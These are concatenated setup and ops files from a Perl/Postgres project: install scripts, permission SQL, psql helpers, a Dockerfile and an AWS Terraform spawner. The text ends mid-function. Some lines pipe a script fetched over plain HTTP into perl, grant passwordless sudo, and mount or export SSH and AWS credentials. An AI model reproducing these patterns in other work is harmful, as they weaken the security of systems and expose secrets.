Ubuntu !!! set -eu -o pipefail # fail on error , debug all lines # run as root [ "$USER" = "root" ] || exec sudo "$0" "$@" echo "=== $BASH_SOURCE on $(hostname -f) at $(date)" >&2 echo installing the must-have pre-requisites while read -r p ; do if [ "" == "`which $p`" ]; then echo "$p Not Found"; if [ -n "`which apt-get`" ]; then apt-get install -y $p ; elif [ -n "`which yum`" ]; then yum -y install $p ; fi ; fi done < <(cat << "EOF" perl zip unzip exuberant-ctags mutt curl wget libwww-curl-perl libtest-www-selenium-perl postgresql-11.3 libdbd-pgsql libxml-atom-perl git vim libxml-atom-perl tar gzip graphviz python-selenium chromium-chromedriver python-selenium python-setuptools python-dev build-essential gpgsm nodejs lsof pgrep minio mc libssl-dev EOF ) # this one is for the gpgsm binary sudo apt-mark auto gpgsm # to install selenium sudo easy_install pip sudo pip install --upgrade selenium curl -L http://cpanmin.us | perl - --sudo App::cpanminus sudo cpanm install JSON # js libraries sudo npm install -g mocha echo installing the nice-to-have pre-requisites echo you have 5 seconds to proceed ... echo or echo hit Ctrl+C to quit echo -e "\n" sleep 6 echo installing the nice to-have pre-requisites while read -r p ; do if [ "" == "`which $p`" ]; then echo "$p Not Found"; if [ -n "`which apt-get`" ]; then apt-get install -y $p ; elif [ -n "`which yum`" ]; then yum -y install $p ; fi ; fi done < <(cat << "EOF" tig EOF ) echo installing Mojolicious sudo curl -L cpanmin.us | perl - Mojolicious # cd src/perl/qto/public # eof file: src/bash/qto/install-prerequisites-on-ubuntu.sh <file_sep> TRUNCATE TABLE app_items_roles_permissions ; INSERT INTO app_items_roles_permissions ( app_roles_guid,app_items_guid,app_routes_guid,name,description) SELECT app_roles.guid , t2.guid, t3.guid , app_roles.name || '__may__' || t3.name || '__' || t2.name as name , 'WHETHER OR NOT THE ' || app_roles.name || ' CAN ' || t3.name || ' THE ' || t2.name as name from app_roles cross join ( SELECT app_items.guid , app_items.name FROM app_items WHERE 1=1 and app_items.name not like 'test_%' and app_items.name not like '%_2018%' and app_items.name not like '%_2018' and app_items.name not like '%_2019%' and app_items.name not like '%_2019' and app_items.name not like '%_2020%' and app_items.name not like '%_2020' ) t2 cross join ( SELECT app_routes.guid , app_routes.name FROM app_routes) t3 ; -- the query and search routes apply to all the items - should use the all fake item DELETE FROM app_items_roles_permissions WHERE 1=1 AND app_items_guid NOT IN ( SELECT guid from app_items WHERE name = 'all') AND app_routes_guid IN ( SELECT guid from app_routes WHERE name IN ('query' , 'search')) ; -- deny anything related to app_roles and users to all but the product instance owner UPDATE app_items_roles_permissions set allowed=false , name = replace(name, 'may', 'mayNOT') WHERE 1=1 AND ( name not like '%userstories%') AND ( name like '%app_roles%' or name like '%users%' or name like '%app_items_roles_permissions%' or name like '%app_items%' or name like '%app_routes%' ) ; -- the PRODUCT_INSTANCE_OWNER MUST see EVERYTHING UPDATE app_items_roles_permissions set allowed=true , name = replace(name, 'mayNOT', 'may') WHERE 1=1 AND app_roles_guid IN ( SELECT guid from app_roles WHERE name = 'PRODUCT_INSTANCE_OWNER') ; -- the select-col must be available for everyone logged in UPDATE app_items_roles_permissions set allowed=true , name = replace(name, 'mayNOT', 'may') WHERE 1=1 AND app_routes_guid IN ( SELECT guid from app_routes WHERE name = 'select-col') ; -- any combination of view with item not ending with _doc is pointless DELETE FROM app_items_roles_permissions WHERE 1=1 AND ( name like '%::view%' and name not like '%_doc') ; -- and display the "forbidden ones" SELECT app_roles.name , app_items_roles_permissions.allowed , app_routes.name , app_items.name FROM app_items_roles_permissions LEFT JOIN app_roles ON app_roles.guid = app_roles_guid LEFT JOIN app_routes ON app_routes.guid = app_routes_guid LEFT JOIN app_items ON app_items.guid = app_items_guid WHERE app_items_roles_permissions.allowed = 'false' ; -- all open routes must be accesible UPDATE app_items_roles_permissions set allowed=true , name = replace(name, 'mayNOT', 'may') WHERE 1=1 AND app_routes_guid IN ( SELECT guid from app_routes WHERE app_routes.is_open = true) ; -- the select-col route should be available to all the roles UPDATE app_items_roles_permissions set allowed=true , name = replace(name, 'mayNOT', 'may') WHERE 1=1 AND app_routes_guid IN ( SELECT guid from app_routes WHERE app_routes.name = 'select-col') ; UPDATE app_routes set is_open_in = True where name in ('query', 'search'); UPDATE app_routes set is_open = True where name in ('logon', 'login'); <file_sep>doRunPgsqlScripts(){ test -z "${PROJ_INSTANCE_DIR-}" && export PROJ_INSTANCE_DIR="$PRODUCT_DIR" test -z ${PROJ_CONF_FILE:-} && export PROJ_CONF_FILE="$PROJ_INSTANCE_DIR/cnf/env/$ENV.env.json" pgsql_scripts_dir="$PRODUCT_DIR/src/sql/pgsql/qto" tmp_log_file="$tmp_dir/.$$.log" do_export_json_section_vars $PROJ_CONF_FILE '.env.db' do_log "INFO using PROJ_INSTANCE_DIR: $PROJ_INSTANCE_DIR" do_log "INFO using PROJ_CONF_FILE: $PROJ_CONF_FILE" sleep 3 ; do_flush_screen ; echo -e "should run the following files: \n\n" ; find "$pgsql_scripts_dir" -type f -name "*.sql"|sort -n # run the sql scripts in alphabetical order - hence the file naming convention while read -r sql_script ; do relative_sql_script=$(echo $sql_script|perl -ne "s|$PROJ_INSTANCE_DIR\/||g;print") do_log "INFO START ::: running $relative_sql_script" ; echo -e '\n\n' perl -pi -e 's|-- DROP|DROP|g' $sql_script # drop and create the objects set -x PGPASSWORD="${postgres_sys_usr_admin_pw:-}" psql -v ON_ERROR_STOP=1 -q -t -X -w \ -h $postgres_rdbms_host -p $postgres_rdbms_port -U "${postgres_sys_usr_admin:-}" \ -v AdminEmail="${AdminEmail:-}" \ -v postgres_app_db="$postgres_app_db" -f "$sql_script" "$postgres_app_db" > "$tmp_log_file" 2>&1 ret=$? set +x perl -pi -e 's|DROP|-- DROP|g' $relative_sql_script cat "$tmp_log_file" ; cat "$tmp_log_file" >> $log_file # show it and save it test $ret -ne 0 && sleep 3 test $ret -ne 0 && do_exit 1 "pid: $$ psql ret $ret - failed to run sql_script: $sql_script !!!" test $ret -ne 0 && break echo -e '\n\n'; do_flush_screen ; do_log "INFO STOP ::: running $relative_sql_script" done < <(find "$pgsql_scripts_dir" -type f -name "*.sql"|sort -n) do_flush_screen ; } <file_sep>doPrintStats(){ echo -e "\nprint the line numbers per file type \n" echo cnf md txt html css sql html.ep js.html.ep sh pm pl t | tr ' ' "\n" | \ while read ftype ; do lines=$(find . -name "*.$ftype" -exec cat {} + | wc -l); \ printf "%-20s %12d \n" $ftype $lines ; done | sort -nr -k 2 } <file_sep>#!/bin/bash # --------------------------------------------------------- # cat cnf/qto.dev.host-name.cnf # [MainSection] # postgres_db_name = dev_qto # postgres_db_host = host-name # # call by: # source lib/bash/funcs/parse-ini-section-vars.func.sh ; do_parse_ini_section_vars $AWS_SHARED_CREDENTIALS_FILE "profile $AWS_PROFILE" # --------------------------------------------------------- do_parse_ini_section_vars(){ cnf_file=$1;shift 1; INI_SECTION=$1;shift 1; test -z "$cnf_file" && echo " you should set the cnf_file !!!" ( set -o posix ; set ) | sort >~/vars.before eval `sed -e 's/[[:space:]]*\=[[:space:]]*/=/g' \ -e 's/#.*$//' \ -e 's/[[:space:]]*$//' \ -e 's/^[[:space:]]*//' \ -e "s/^\(.*\)=\([^\"']*\)$/export \1=\"\2\"/" \ < $cnf_file \ | sed -n -e "/^\[$INI_SECTION\]/,/^\s*\[/{/^[^#].*\=.*/p;}"` # and post-register for nice logging ( set -o posix ; set ) | sort >~/vars.after echo "INFO added the following vars from section: [$INI_SECTION]" comm -3 ~/vars.before ~/vars.after | perl -ne 's#\s+##g;print "\n $_ "' } <file_sep># src/bash/qto/funcs/generate-sql.func.sh # v1.2.0 # --------------------------------------------------------- # read the lst file for each var in headers to copy template # into a new %script%.sql search and replaces vars with # values from the lst file both in file names and in content # --------------------------------------------------------- doGenerateSQL(){ do_log "DEBUG START doGenerateSQL" while read -r list_file ; do #foreach list file in the dat/lst/sql dir cd $PRODUCT_DIR/src/sql/mysql/run # foreach sql template while read -r sql_template ; do headers=$(head -n 1 "$list_file") TMP_IFS=$IFS while read -r line ; do sql_file=$sql_template IFS=$' \t\n' read -r -a column_names <<< "$headers" #debug ok printf '%s\n' "${column_names[@]}" IFS=$' \t\n' read -r -a tokens <<< "$line" #debug ok printf '%s\n' "${tokens[@]}" for index in "${!column_names[@]}" do to_srch="${column_names[$index]}" to_repl="${tokens[$index]}" sql_file=$(echo "$sql_file"|perl -ne 's/(.*)\.SQL/$1.sql/g;print') sql_file=$(echo "$sql_file"|perl -ne 's{%'"$to_srch"'%}{'"$to_repl"'}g;print') done cp -v "$sql_template" "$sql_file" for index in "${!column_names[@]}" do to_srch="${column_names[$index]}" to_repl="${tokens[$index]}" perl -pi -e "use utf8 ; binmode STDOUT, \":utf8\"; use open':encoding(utf8)';s{%""$to_srch""%}{""$to_repl""}g;" "$sql_file" done done < <(tail -n +2 "$list_file") # cat all but the first line done < <(find $PRODUCT_DIR/src/sql/mysql/run -type f -name '*.SQL') done < <(find $PRODUCT_DIR/dat/lst/sql/mysql/run -type f -name '*.list') IFS=$TMP_IFS # revert back to the original IFS find . -name '*.bak' | xargs rm -fv chmod -v 770 *.sql cd $PRODUCT_DIR sleep "$sleep_interval" # add your action implementation code here ... do_log "DEBUG STOP doGenerateSQL" } # eof func doGenerateSQL # eof file: src/bash/qto/funcs/generate-sql.func.sh <file_sep># file: lib/make/clean-install-img-func.mk # purpose: # re-usable util make function to build a docker by clearning its cache hashes first # usage: # to include it in your Makefile # include lib/make/clean-install-img-func.mk # or # include $(wildcard lib/make/*.mk) # # # function usage example: # install-web-node: # $(call clean-install-img,web-node,80) include lib/make/demand-var.func.mk PRODUCT := $(shell basename $$PWD) product:= $(shell echo `basename $$PWD`|tr '[:upper:]' '[:lower:]') define clean-install-img @clear $(call demand-var,ENV) docker build . -t ${product}-$(1)-img \ --no-cache \ --build-arg UID=$(shell id -u) \ --build-arg GID=$(shell id -g) \ --build-arg ENV=$(ENV) \ --build-arg PRODUCT=${PRODUCT} \ -f src/docker/$(1)/Dockerfile -@docker container stop $$(docker ps -aqf "name=${product}-${1}-con") 2> /dev/null -@docker container rm $$(docker ps -aqf "name=${product}-${1}-con") 2> /dev/null docker run -it -d --restart=always \ -v $$(pwd):/opt/${PRODUCT} \ -v $$HOME/.aws:/home/appusr/.aws \ -v $$HOME/.ssh:/home/appgrp/.ssh \ -v $$HOME/.kube:/home/appusr/.kube \ -p $(2):$(2) \ --name ${product}-$(1)-con ${product}-${1}-img ; @echo -e to attach run: "\ndocker exec -it ${product}-${1}-con /bin/bash" @echo -e to get help run: "\ndocker exec -it ${product}-${1}-con ./run --help" endef define stop-img-containers @clear -@docker container stop $$(docker ps -aqf "name=${product}-${1}-con") 2> /dev/null -@docker container rm $$(docker ps -aqf "name=${product}-${1}-con") 2> /dev/null endef <file_sep>#!/usr/bin/env bash # usage: # bash src/tpl/psql-code-generator/psql-code-generator.sh dev_qto release_issues monthly_issues # # check also: https://mojolicious.org/perldoc/Mojo/Template main(){ do_print=0 ; # set to 0 to not print a certain function ... do_init "$@" do_chk_print_usage "$@" do_set_vars "$@" do_get_psql_meta_data do_print=0; do_print_meta_json_str do_print=0; do_build_cols_lst_comma do_print=1; do_build_cols_lst_table_col do_print=0; do_build_cols_lst_old do_print=0; do_build_cols_lst_new do_print=0; do_build_cols_lst_excluded do_print=0; do_generate_psql_html_with_perl_code_example do_print=1; do_generate_psql_select_all do_print=1; do_run_sql=1; do_generate_psql_select_into_another_table do_exit 0 } do_generate_psql_select_into_another_table(){ msg='generate the select into another table string' IFS='' read -r -d '' perl_code <<"EOF_SELECT_INTO_ANOTHER_TABLE_PERL_CODE" use strict; use warnings; binmode STDOUT, ":utf8"; use utf8; use JSON; use Data::Printer;use Mojo::Template; use feature ':5.12'; my $mt = Mojo::Template->new; say $mt->render(<<'EOF', $ENV{'postgres_app_db'}, $ENV{'table_name_01'},$ENV{'table_name_02'} , $ENV{'cols_lst_comma'}, $ENV{'cols_lst_excluded'}); % my ($postgres_app_db, $table_name_01, $table_name_02, $cols_lst_comma, $cols_lst_excluded) = @_; INSERT INTO <%= $table_name_02 %> ( <%= $cols_lst_comma %> ) SELECT <%= $cols_lst_comma %> FROM <%= $table_name_01 %> ON CONFLICT (id) DO UPDATE SET <%= $cols_lst_excluded %>; EOF EOF_SELECT_INTO_ANOTHER_TABLE_PERL_CODE if [[ $do_print -eq 1 ]]; then echo "::: start $msg" perl -e "$perl_code" | tee /tmp/$postgres_app_db.select-$table_name_01-into-$table_name_02.sql echo -e "::: stop $msg \n\n" if [[ $do_run_sql -eq 1 ]]; then PGPASSWORD=${postgres_sys_usr_admin_pw:-} psql -v -t -X -w -U ${postgres_sys_usr_admin:-} \ --port $postgres_rdbms_port --host $postgres_rdbms_host -t -d ${postgres_app_db:-} \ < /tmp/$postgres_app_db.select-$table_name_01-into-$table_name_02.sql fi fi } do_generate_psql_select_all(){ msg='generate the select all string' IFS='' read -r -d '' perl_code <<"EOF_SELECT_ALL_PERL_CODE" use strict; use warnings; binmode STDOUT, ":utf8"; use utf8; use JSON; use Data::Printer;use Mojo::Template; use feature ':5.12'; my $mt = Mojo::Template->new; say $mt->render(<<'EOF', $ENV{'postgres_app_db'}, $ENV{'table_name_01'}, $ENV{'cols_lst_comma'}); % my ($postgres_app_db, $table_name_01, $cols_lst_comma) = @_; % say "SELECT $cols_lst_comma FROM $postgres_app_db.$table_name_01;" EOF EOF_SELECT_ALL_PERL_CODE if [[ $do_print -eq 1 ]]; then echo "::: start $msg" perl -e "$perl_code" echo -e "::: stop $msg \n\n" fi } # and this is how your generate code in 3 run-times - bash , perl , and Mojo::Template do_generate_psql_html_with_perl_code_example(){ msg='generate the perl code' IFS='' read -r -d '' perl_code <<"EOF_PERL_CODE" use strict; use warnings; binmode STDOUT, ":utf8"; use utf8; use JSON; use Data::Printer;use Mojo::Template; use feature ':5.12'; my $mt = Mojo::Template->new; my $json_var = decode_json($ENV{'meta_json_str'}) ; p $json_var ; say $mt->render(<<'EOF', [1 .. 13], 'Hello World!'); % my ($numbers, $title) = @_; <div> <h1><%= $title %></h1> % for my $i (@$numbers) { Test <%= $i %> % } </div> EOF EOF_PERL_CODE if [[ $do_print -eq 1 ]]; then echo "::: start $msg" perl -e "$perl_code" echo -e "::: stop $msg \n\n" fi } #------------------------------------------------------------------------------ # init the minimal possible amount of vars to even fail properly #------------------------------------------------------------------------------ do_init(){ umask 022 ; set -u -o pipefail call_start_dir=`pwd` run_unit_bash_dir=$(perl -e 'use File::Basename; use Cwd "abs_path"; print dirname(abs_path(@ARGV[0]));' -- "$0") tmp_dir="$run_unit_bash_dir/tmp/.tmp.$$" mkdir -p "$tmp_dir" ( set -o posix ; set )| sort >"$tmp_dir/vars.before" my_name_ext=`basename $0` RUN_UNIT=${my_name_ext%.*} export postgres_app_db=${1:-} export table_name_01=${2:-} export table_name_02=${3:-} } #------------------------------------------------------------------------------ # register and show the run-time vars #------------------------------------------------------------------------------ do_set_vars(){ cd $run_unit_bash_dir for i in {1..3} ; do cd .. ; done ; export PRODUCT_DIR=`pwd`; environment_name=$(basename "$PRODUCT_DIR") cd $PRODUCT_DIR source $PRODUCT_DIR/.env # source $PRODUCT_DIR/lib/bash/funcs/export-json-section-vars.sh test -z "${PROJ_INSTANCE_DIR-}" && export PROJ_INSTANCE_DIR="$PRODUCT_DIR" test -z ${PROJ_CONF_FILE:-} && export PROJ_CONF_FILE="$PROJ_INSTANCE_DIR/cnf/env/$ENV.env.json" if [ "$environment_name" == "$RUN_UNIT" ]; then product_dir=$PRODUCT_DIR else cd .. ; product_dir=`pwd`; fi cd .. ; product_base_dir=`pwd`; org_name=$(basename `pwd`) do_export_json_section_vars $PROJ_CONF_FILE '.env.db' if [[ $do_print -eq 1 ]]; then ( set -o posix ; set ) | sort >"$tmp_dir/vars.after" echo "INFO using the following vars:" cmd="$(comm -3 $tmp_dir/vars.before $tmp_dir/vars.after | perl -ne 's#\s+##g;print "\n $_ "' )" echo -e "$cmd" do_flush_screen fi } do_chk_print_usage(){ db=dev_qto if [[ -z "${1:-}" || -z "${2:-}" ]]; then cat << EOF_USAGE psql-code-generator - a script for generating code bash $0 <<db-name>> <<table-name>> example: bash $0 dev_qto release_issues example to generate code for all the tables in a db: while read -r t; do $0 dev_qto \$t ; done < <(psql -d dev_qto -t -q -c "SELECT table_name FROM information_schema.tables where 1=1 and table_catalog='dev_qto' and table_schema='public'") needless to say anything you print you could append to a file as follows: <<command>> | tee -a /tmp/generated-code.sql EOF_USAGE do_exit 1 fi } do_get_psql_meta_data(){ export meta_json_str=$(PGPASSWORD=${postgres_sys_usr_admin_pw:-} psql -v -t -X -w -U ${postgres_sys_usr_admin:-} --port $postgres_rdbms_port --host $postgres_rdbms_host -t -d ${postgres_app_db:-} -c "select array_to_json(array_agg(row_to_json(t))) from ( SELECT * from information_schema.columns where 1=1 and table_catalog='"$postgres_app_db"' and table_name='"$table_name_01"') t") } do_print_maybe(){ msg="$1" ; shift to_print="$*" test $do_print -eq 1 && echo "::: start $msg" && echo $to_print && echo -e "::: stop $msg \n\n" } do_print_meta_json_str(){ msg='the whole json string' test $do_print -eq 1 && echo "::: start $msg" test $do_print -eq 1 && echo $meta_json_str|jq -r '.[]' test $do_print -eq 1 && echo -e "::: stop $msg \n\n" } do_build_cols_lst_comma(){ msg='the columns only' while read -r c ; do cols_lst_comma="${cols_lst_comma:-} , $c" ; done < <(echo $meta_json_str|jq -r '.[]|.column_name') export cols_lst_comma=$(echo $cols_lst_comma|cut -c 3-) do_print_maybe "$msg" $cols_lst_comma } do_build_cols_lst_table_col(){ msg='the tables and columns only' while read -r c ; do cols_lst_table_col="${cols_lst_table_col:-} , $table_name_01.$c" ; done < <(echo $meta_json_str|jq -r '.[]|.column_name') export cols_lst_table_col=$(echo $cols_lst_table_col|cut -c 3-) do_print_maybe "$msg" $cols_lst_table_col } do_build_cols_lst_old(){ msg='the OLD columns list ' while read -r c ; do cols_lst_old="${cols_lst_old:-}, OLD.$c" ; done < <(echo $meta_json_str|jq -r '.[]|.column_name') cols_lst_old=$(echo $cols_lst_old|cut -c 3-) do_print_maybe "$msg" $cols_lst_old } do_build_cols_lst_new(){ msg='the NEW columns list' while read -r c ; do cols_lst_new="${cols_lst_new:-}, NEW.$c" ; done < <(echo $meta_json_str|jq -r '.[]|.column_name') export cols_lst_new=$(echo $cols_lst_new|cut -c 3-) do_print_maybe "$msg" $cols_lst_new } do_build_cols_lst_excluded(){ msg='the excluded columns list ' while read -r c ; do cols_lst_excluded="${cols_lst_excluded:-}, $c = excluded.$c" ; done < <(echo $meta_json_str|jq -r '.[]|.column_name') export cols_lst_excluded=$(echo $cols_lst_excluded|cut -c 3-) do_print_maybe "$msg" $cols_lst_excluded } do_exit(){ exit_code="$1";shift rm -rf "$run_unit_bash_dir/tmp" #clear the tmpdir cd $call_start_dir exit $exit_code } main "$@" <file_sep>CREATE TABLE meta_cols as SELECT DISTINCT ROW_NUMBER () OVER (ORDER BY pgc.relname , a.attnum) as id,gen_random_uuid() as guid , pgc.relname as table_name , a.attnum as attribute_number , a.attname as attribute_name , format_type(a.atttypid, a.atttypmod) as data_type , a.atttypmod as char_max_length , a.attnotnull as not_null , com.description as comment , coalesce(i.indisprimary,false) as is_primary_key FROM pg_attribute a JOIN pg_class pgc ON pgc.oid = a.attrelid LEFT JOIN pg_index i ON (pgc.oid = i.indrelid AND i.indkey[0] = a.attnum) LEFT JOIN pg_description com on (pgc.oid = com.objoid AND a.attnum = com.objsubid) LEFT JOIN pg_attrdef def ON (a.attrelid = def.adrelid AND a.attnum = def.adnum) LEFT JOIN pg_catalog.pg_namespace n ON n.oid = pgc.relnamespace WHERE 1=1 AND pgc.relkind IN ('r','') AND n.nspname <> 'pg_catalog' AND n.nspname <> 'information_schema' AND n.nspname !~ '^pg_toast' AND a.attnum > 0 AND pgc.oid = a.attrelid AND pg_table_is_visible(pgc.oid) AND NOT a.attisdropped ORDER BY id ; <file_sep>do_chk_provision_ssh_keys(){ do_export_json_section_vars $product_dir/cnf/env/$ENV.env.json '.env.db' which expect || sudo apt-get update && sudo apt-get install -y expect # if the ssh key does not exist create it ... # the perl code for building the private key file path is : # my $private_key_fpath = $ENV{"HOME"} . '/.ssh/id_rsa.qto.' . $ENV ; prv_key_fpath=$HOME/.ssh/id_rsa.qto.$ENV test -f $prv_key_fpath || { expect <<- EOF_EXPECT set timeout -1 spawn ssh-keygen -t rsa -b 4096 -C $AdminEmail -f $prv_key_fpath -N '' expect "Enter passphrase (empty for no passphrase): " send -- "\r" expect "Enter same passphrase again: " send -- "\r" expect eof EOF_EXPECT echo created the fillowing private key file : $prv_key_fpath } for ENV in `echo dev tst prd`; do jwt_private_key_file=~/.ssh/qto.$ENV.jwtRS256.key jwt_public_key_file=~/.ssh/qto.$ENV.jwtRS256.key.pub echo << EOF_USING creating and using the following private and public key files for the Guardian's JWT's : $jwt_private_key_file $jwt_public_key_file EOF_USING test -f $jwt_private_key_file || ssh-keygen -t rsa -b 4096 -m PEM -f $jwt_private_key_file -N '' test -f $jwt_public_key_file && rm -v $jwt_public_key_file openssl rsa -in $jwt_private_key_file -pubout -outform PEM -out $jwt_public_key_file done; } <file_sep>common / shared configuration files for your qto apps should be placed here ... as well as backuped hosts configuration files below their host dirs <file_sep># vim:set ft=dockerfile: FROM ubuntu:18.04 ARG TZ=$TZ ARG ENV=$ENV ARG USER=$USER ARG UID=$UID ARG GROUP=$GROUP ARG GID=$GID ARG PRODUCT_DIR=$PRODUCT_DIR ARG postgres_app_db=$postgres_app_db ARG postgres_sys_usr_admin=$postgres_sys_usr_admin ARG root_pwd=$<PASSWORD> ARG app_user_pwd=$<PASSWORD> # obs !!! todo: parametrize qto-190616104728 RUN echo "root:$root_pwd" | chpasswd RUN echo 'export PS1="`date "+%F %T"` \u@\h \w \\n\\n "' >> /root/.bashrc RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone # install the most basic binaries RUN apt-get update && apt-get install -y wget curl sudo perl zip unzip gnupg2 gnupg1 git bash jq vim # start :: add the application user RUN set -x ; addgroup --gid "$GID" "$GROUP" && \ adduser \ --gid $GID \ --shell "/bin/bash" \ --home "/home/$USER" \ --uid $UID \ "$USER" && exit 0 ; exit 1 RUN echo "$USER"':'"$app_user_pwd" | chpasswd RUN echo "$USER ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers # stop :: add the application user # install support binaries RUN apt-get clean && apt-get update && apt-get install -y nmap perl net-tools exuberant-ctags mutt curl wget libwww-curl-perl libdbd-pgsql libxml-atom-perl libxml-atom-perl tar gzip graphviz python-setuptools python-dev build-essential gpgsm nodejs lsof libssl1.0-dev procps node-gyp nodejs-dev npm awscli # # start ::: install postgres # Add the PostgreSQL PGP key to verify their Debian packages. # It should be the same key as https://www.postgresql.org/media/keys/ACCC4CF8.asc RUN wget --quiet -O - https://www.postgresql.org/media/keys/ACCC4CF8.asc | sudo apt-key add - # add the PostgreSQL's repository RUN sh -c 'echo "deb http://apt.postgresql.org/pub/repos/apt/ bionic-pgdg main"' \ > /etc/apt/sources.list.d/pgdg.list # add the most basic binaries RUN apt-get clean && apt-get update && apt-get install -f -y postgresql-server-dev-11 postgresql-client-11 postgresql-contrib-11 ## ensure the postresql starts on boot RUN sudo update-rc.d postgresql enable RUN mkdir -p /etc/postgresql/11/main/ && mkdir -p /var/lib/postgresql/11/main RUN echo "postgres:postgres" | chpasswd RUN echo 'export PS1="`date "+%F %T"` \u@\h \w \\n\\n "' >> /var/lib/postgresql/.bashrc ## add the uuid generation capability enabling extensions RUN /etc/init.d/postgresql restart && \ sudo -u postgres psql -c "CREATE USER usrqtoadmin WITH SUPERUSER CREATEROLE CREATEDB REPLICATION BYPASSRLS PASSWORD '<PASSWORD>';" && \ sudo -u postgres psql -c "grant all privileges on database postgres to usrqtoadmin ;" && \ sudo -u postgres psql template1 -c 'CREATE EXTENSION IF NOT EXISTS "uuid-ossp";' && \ sudo -u postgres psql template1 -c 'CREATE EXTENSION IF NOT EXISTS "pgcrypto";' && \ sudo -u postgres psql template1 -c 'CREATE EXTENSION IF NOT EXISTS "dblink";' ENV psql_cnf_dir='/etc/postgresql/11/main' RUN cp -v $psql_cnf_dir/pg_hba.conf $psql_cnf_dir/pg_hba.conf.orig.bak && \ cp -v $PRODUCT_DIR/cnf/postgres/$psql_cnf_dir/pg_hba.conf $psql_cnf_dir/pg_hba.conf && \ chown postgres:postres $psql_cnf_dir RUN sudo cp -v $psql_cnf_dir/postgresql.conf $psql_cnf_dir/postgresql.conf.orig && \ sudo cp -v $PRODUCT_DIR/cnf/postgres/$psql_cnf_dir/postgresql.conf $psql_cnf_dir/postgresql.conf RUN chown -R postgres:postgres "/etc/postgresql" && \ chown -R postgres:postgres "/var/lib/postgresql" && \ chown -R postgres:postgres "/etc/postgresql/11/main/pg_hba.conf" && \ chown -R postgres:postgres "/etc/postgresql/11/main/postgresql.conf" # add VOLUMEs to allow backup of config, logs and databases # VOLUME ["/etc/postgresql", "/var/log/postgresql", "/var/lib/postgresql"] # :: stop install postgres # :: start install perl modules RUN apt-get update && apt-get install -y cpanminus && apt-get install -y liblocal-lib-perl USER $USER # set the default command to run when starting the container #RUN perl -MCPAN -Mlocal::lib -e 'install Data::Printer' && \ # perl -MCPAN -Mlocal::lib -e 'install Term::Prompt' && \ # perl -MCPAN -Mlocal::lib -e 'install Email::Valid' && \ # perl -MCPAN -Mlocal::lib -e 'install Excel::Writer::XLSX' && \ # perl -MCPAN -Mlocal::lib -e 'install Spreadsheet::ParseExcel' && \ # perl -MCPAN -Mlocal::lib -e 'install Spreadsheet::XLSX' && \ # perl -MCPAN -Mlocal::lib -e 'install DBD::Pg' && \ # perl -MCPAN -Mlocal::lib -e 'install Tie::Hash::DBD' && \ # perl -MCPAN -Mlocal::lib -e 'install Text::CSV_XS' && \ # perl -MCPAN -Mlocal::lib -e 'install File::Copy::Recursive' && \ # perl -MCPAN -Mlocal::lib -e 'install Test::Trap' && \ # perl -MCPAN -Mlocal::lib -e 'install Test::Most' && \ # perl -MCPAN -Mlocal::lib -e 'install Tie::Hash::DBD' && \ # perl -MCPAN -Mlocal::lib -e 'install Scalar::Util::Numeric' && \ # perl -MCPAN -Mlocal::lib -e 'install IPC::System::Simple' && \ # perl -MCPAN -Mlocal::lib -e 'install Mojo::Pg' && \ # perl -MCPAN -Mlocal::lib -e 'install Mojolicious::Plugin::BasicAuthPlus' && \ # perl -MCPAN -Mlocal::lib -e 'install Mojolicious::Plugin::StaticCache' && \ # perl -MCPAN -Mlocal::lib -e 'install Mojolicious::Plugin::RenderFile' && \ # perl -MCPAN -Mlocal::lib -e 'install Mojolicious::Plugin::Authentication' && \ # perl -MCPAN -Mlocal::lib -e 'install Mojo::JWT' && \ # perl -MCPAN -Mlocal::lib -e 'install Authen::Passphrase::BlowfishCrypt' && \ # perl -MCPAN -Mlocal::lib -e 'install Net::Google::DataAPI::Auth::OAuth2' && \ # perl -MCPAN -Mlocal::lib -e 'CPAN::Shell->force(qw( install Net::Google::DataAPI::Auth::OAuth2));' && \ # perl -MCPAN -Mlocal::lib -e 'install Net::Google::Spreadsheets::V4' && \ # perl -MCPAN -Mlocal::lib -e 'install Net::Google::Spreadsheets;' && \ # perl -MCPAN -Mlocal::lib -e 'install DBIx::ProcedureCall' && \ # perl -MCPAN -Mlocal::lib -e 'install JSON::Parse' # stop ::: install perl modules USER $USER WORKDIR $PRODUCT_DIR # CMD ["bash","-c","while true; do sleep 1; done;"] CMD bash -c $PRODUCT_DIR/src/bash/qto/install/docker/docker-entry-point.sh <file_sep>doSpawnAwsEc2(){ # test -z ${PROJ_CONF_FILE:-} && export PROJ_CONF_FILE="$PROJ_INSTANCE_DIR/cnf/env/$ENV.env.json" do_export_json_section_vars $PROJ_CONF_FILE '.env.aws' mkdir -p $PROJ_INSTANCE_DIR/src/terraform/qto test -f ~/.aws/credentials || \ do_exit 1 "run the aws configure command - did not find the ~/.aws/credentials file !!!" export AWS_ACCESS_KEY_ID=$(cat ~/.aws/credentials| grep -i aws_access_key_id | awk '{print $3}') export AWS_SECRET_ACCESS_KEY=$(cat ~/.aws/credentials| grep -i AWS_SECRET_ACCESS_KEY| awk '{print $3}') sudo timedatectl set-ntp no; timedatectl sudo service ntp stop ; sudo service ntp start; ntpq -p export key_name=$(basename `eval echo ${private_ssh_key_fpath:-}`) export public_ssh_key_fpath=$(eval echo ${public_ssh_key_fpath:-}) export public_ssh_key_content=$(cat ${public_ssh_key_fpath:-}) main_tf_file="$PROJ_INSTANCE_DIR/src/terraform/qto/main.tf" test -f "$main_tf_file" && rm -v "$main_tf_file" mkdir -p "$PROJ_INSTANCE_DIR/src/terraform/qto" rm -r $PROJ_INSTANCE_DIR/src/terraform/qto/* python3 "$PROJ_INSTANCE_DIR/src/python/tpl_gen.py" perl -pi -e 'foreach $key(sort keys %ENV){ s|\$$key|$ENV{$key}|g}' "$main_tf_file" #perl -e 'foreach $key(sort keys %ENV){ print "echo \$$key key:$key \n, val:$ENV{$key} \n"}' cd $PROJ_INSTANCE_DIR/src/terraform/qto/ terraform init ; terraform plan ; test $? -ne 0 && do_exit 1 "terraform plan failed" terraform apply -auto-approve rm -v $PROJ_INSTANCE_DIR/src/terraform/qto/main.tf } <file_sep>#------------------------------------------------------------------------------ # usage example: # source $PRODUCT/lib/bash/funcs/read-conf-section.sh # do_read_conf_section '.env.db' #------------------------------------------------------------------------------ do_read_conf_section(){ PROJ_CONF_FILE=$1; shift test -f ${PROJ_CONF_FILE:-} || { echo "ERROR : the json_file: $PROJ_CONF_FILE does not exist !!! Nothing to do" && exit 1 } section="$1" test -z "$section" && \ echo "ERROR : the section in do_read_conf_section is empty 